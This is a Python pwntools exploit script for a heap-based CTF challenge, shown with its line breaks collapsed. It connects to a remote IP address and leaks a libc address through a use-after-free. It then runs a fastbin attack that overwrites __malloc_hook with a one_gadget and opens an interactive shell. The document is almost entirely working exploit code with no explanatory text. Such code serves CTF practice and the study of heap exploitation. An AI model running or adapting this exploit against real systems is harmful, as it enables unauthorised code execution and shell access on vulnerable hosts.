1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1 if debug: r = remote('221.178.230.105', 36682) else: r = process(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def add(size, content): r.sendlineafter(b'choice', b'1') r.sendlineafter(b'size', str(size)) r.sendlineafter(b'data', content)
def edit(index, content): r.sendlineafter(b'choice', b'3') r.sendlineafter(b'index', str(index)) r.sendlineafter(b'data', content)
def show(index): r.sendlineafter(b'choice', b'4') r.sendlineafter(b'index', str(index))
def delete(index): r.sendlineafter(b'choice', b'2') r.sendlineafter(b'index', str(index))
add(0x100, b'a') add(0x10, b'a')
delete(0) show(0)
libc_base = get_libc() - 0x3c4b78 libc = ELF('./2.23-11/lib/x86_64-linux-gnu/libc-2.23.so') malloc_hook = libc.sym['__malloc_hook'] + libc_base one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] ogg = one[3] + libc_base
add(0x60, b'a') delete(1) edit(1, p64(malloc_hook - 0x23)) add(0x60, b'a') add(0x60, b'a' * 0x13 + p64(ogg))
r.sendlineafter(b'choice', b'1') r.sendlineafter(b'size', b'1')
r.interactive()
|